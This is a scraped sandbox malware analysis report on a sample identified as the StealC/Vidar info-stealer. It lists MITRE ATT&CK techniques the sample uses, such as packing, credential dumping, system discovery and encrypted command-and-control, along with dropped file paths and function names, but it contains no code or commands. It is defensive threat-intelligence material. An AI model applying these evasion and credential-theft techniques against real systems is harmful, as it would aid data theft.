Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report zVp8cG4riO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKEGDAKEHJDHIDHJJDAECFBKF

C:\ProgramData\BJZFPPWAPT.docx

C:\ProgramData\BJZFPPWAPT.xlsx

C:\ProgramData\BQJUWOYRTO.docx

C:\ProgramData\BQJUWOYRTO.xlsx

C:\ProgramData\CFHDHIJDGCBAKFIEGHCB

C:\ProgramData\DAEGIIECGHCBFHJKEHDB

C:\ProgramData\DUUDTUBZFW.xlsx

C:\ProgramData\ECGHCBGC

C:\ProgramData\EFOYFBOLXA.docx

C:\ProgramData\EFOYFBOLXA.xlsx

C:\ProgramData\EIVQSAOTAQ.docx

Windows Analysis Report
zVp8cG4riO.exe

Function 00416240 Relevance: 165.7, APIs: 110, Instructions: 674
libraryloaderCOMMON

Function 00411650 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 237
filestringCOMMON

Function 0040B610 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CCE35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre